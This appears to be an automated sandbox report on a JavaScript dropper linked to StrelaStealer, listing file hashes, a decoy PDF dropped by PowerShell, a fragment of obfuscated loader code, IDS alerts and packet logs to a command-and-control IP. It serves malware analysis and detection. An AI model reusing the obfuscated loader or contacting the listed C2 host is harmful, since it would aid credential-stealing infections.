SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19040), with CRLF line terminators
Entropy (8bit):	4.90890306986411
TrID:
File name:	5330147048382019.js
File size:	22'531 bytes
MD5:	2dfba941e46e34d6ed3dec1ed6c4656c
SHA1:	62696395679156d037c00ac9e5c4ad2bed0448dc
SHA256:	d847b126f133e7df01062c997c8d2edd0f5f28c6f657a7af095bf26608aff081
SHA512:	f50c72fb999e3a569bad17eb567f07d83b14306f195b6661bc4dc96bb902c6b4e3b4e409cbefa858ffeebbacf1ed16fde55fd7e9902046c481cfff392ac81b0d
SSDEEP:	384:rbqcnL6YgYRPYdgmuvuPlxi/H48/eES+Jkp:irYRBmNPlxi/HN/eEpa
TLSH:	A1A273DCD800CE8B9DF47A6261E208F4E9AE06DC86A559CF49107B0A233D17A59F5CF7
File Content Preview:	function bqyai(){lglox=[1031,3079,5127,4103,2055,3072];var cbinb=this[dntjxk+pwfnlbxj+sqnvhwcpe+iwpsskm+zcfmfw+jhrtfky+etfabfpwf+dpyycns](this[nywrhgqq+znqlpcwka+alzktv+sqnvhwcpe+huyoyrugi+dntjxk+dpyycns][fkzzuukhd+sqnvhwcpe+zcfmfw+pwfnlbxj+dpyycns+zcfmfw

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:50:24.945105+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T06:50:24.945105+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T06:50:27.649874+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:50:24.123502016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:24.128485918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.128566980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:24.131464958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:24.136358976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.944982052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.945027113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.945065975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.945105076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:24.945111990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.945148945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.945183992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.945216894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.945251942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.945267916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:24.945267916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:24.945281029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.945317984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.945365906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:24.945365906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:24.950225115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.950273037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:24.951333046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.002068043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.002192974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.002296925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.002497911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.002523899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.002641916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.065037966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.065076113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.065099955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.065121889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.065195084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.065195084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.065202951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.065226078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.065308094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.065361977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.065361977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.065390110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.065402985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.065418005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.065438986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.065562010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.066226006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.066250086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.066273928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.066297054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.066313028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.066313028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.066910982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.066934109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.066952944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.066958904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.066988945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.067013979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.067054033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.067054033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.067724943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.092618942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.095266104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.122653961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.122780085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.122791052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.122802973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.122833967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.122860909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.122932911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.155610085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.155653954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.155836105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.184993029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185060024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185096025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185131073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185148001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.185168982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185204029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185231924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.185233116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.185240030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185277939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185328960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.185604095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185638905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185672045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185688019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.185718060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.185858011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185893059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185926914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.185961962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.186005116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.186068058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.186343908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.186397076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.186431885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.186464071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.186489105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.186499119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.186518908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.186534882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.186570883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.186664104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.187200069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.187239885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.187257051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.187293053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.187361956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.187397957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.187414885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.187439919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.187472105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.187474012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.188169956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.188203096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.188227892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.188237906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.188271999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.188307047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.188317060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.188340902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.188360929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.188404083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.188868999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.188925982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.188926935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.188961029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.189003944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.213221073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.213239908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.214342117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.242575884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.242647886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.242683887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.242717981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.242753029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.242768049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.242768049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.245887041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.245918989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.245971918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.245985985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.246025085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.246059895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.246062994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.246098995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.246143103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.275497913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.275537968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.275584936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.304886103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.304927111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.304980993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305010080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305046082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.305046082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.305087090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305123091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305135012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.305169106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305203915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305227995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.305242062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305300951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.305574894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305608988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305643082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305701017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.305807114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305864096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305898905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305932999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.305946112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.305946112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.305963039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.306091070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.306372881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.306406021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.306457996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.306490898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.306526899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.306559086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.306571007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.306571007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.306596041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.306622028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.307356119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.307389021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.307425022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.307461023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.307463884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.307501078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.307533979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.307549953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.307549953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.307569981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.307701111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.308135986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.308187008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.308219910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.308243036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.308253050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.308288097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.308322906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.308332920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.308357954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.308456898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.308936119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.308989048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.309025049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.309072018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.309072018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.309098005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.309130907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.309165955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.309189081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.309201956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.309865952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.309916973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.309930086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.309952974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.309986115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.310000896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.310023069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.310055017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.310090065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.310092926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.310092926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.310746908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.310781002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.310803890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.310832977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.310866117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.310899973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.310929060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.310931921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.310966969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.311008930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.311008930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.311672926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.311706066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.311741114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.311774969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.311865091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.312416077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.332950115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.333000898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.333034992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.333067894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.333101988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.333132029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.333132029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.333134890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336397886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336426973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336477041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336498022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.336498022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.336515903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336566925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336600065 CET	80	49705	193.143.1.205	192.168.2.8
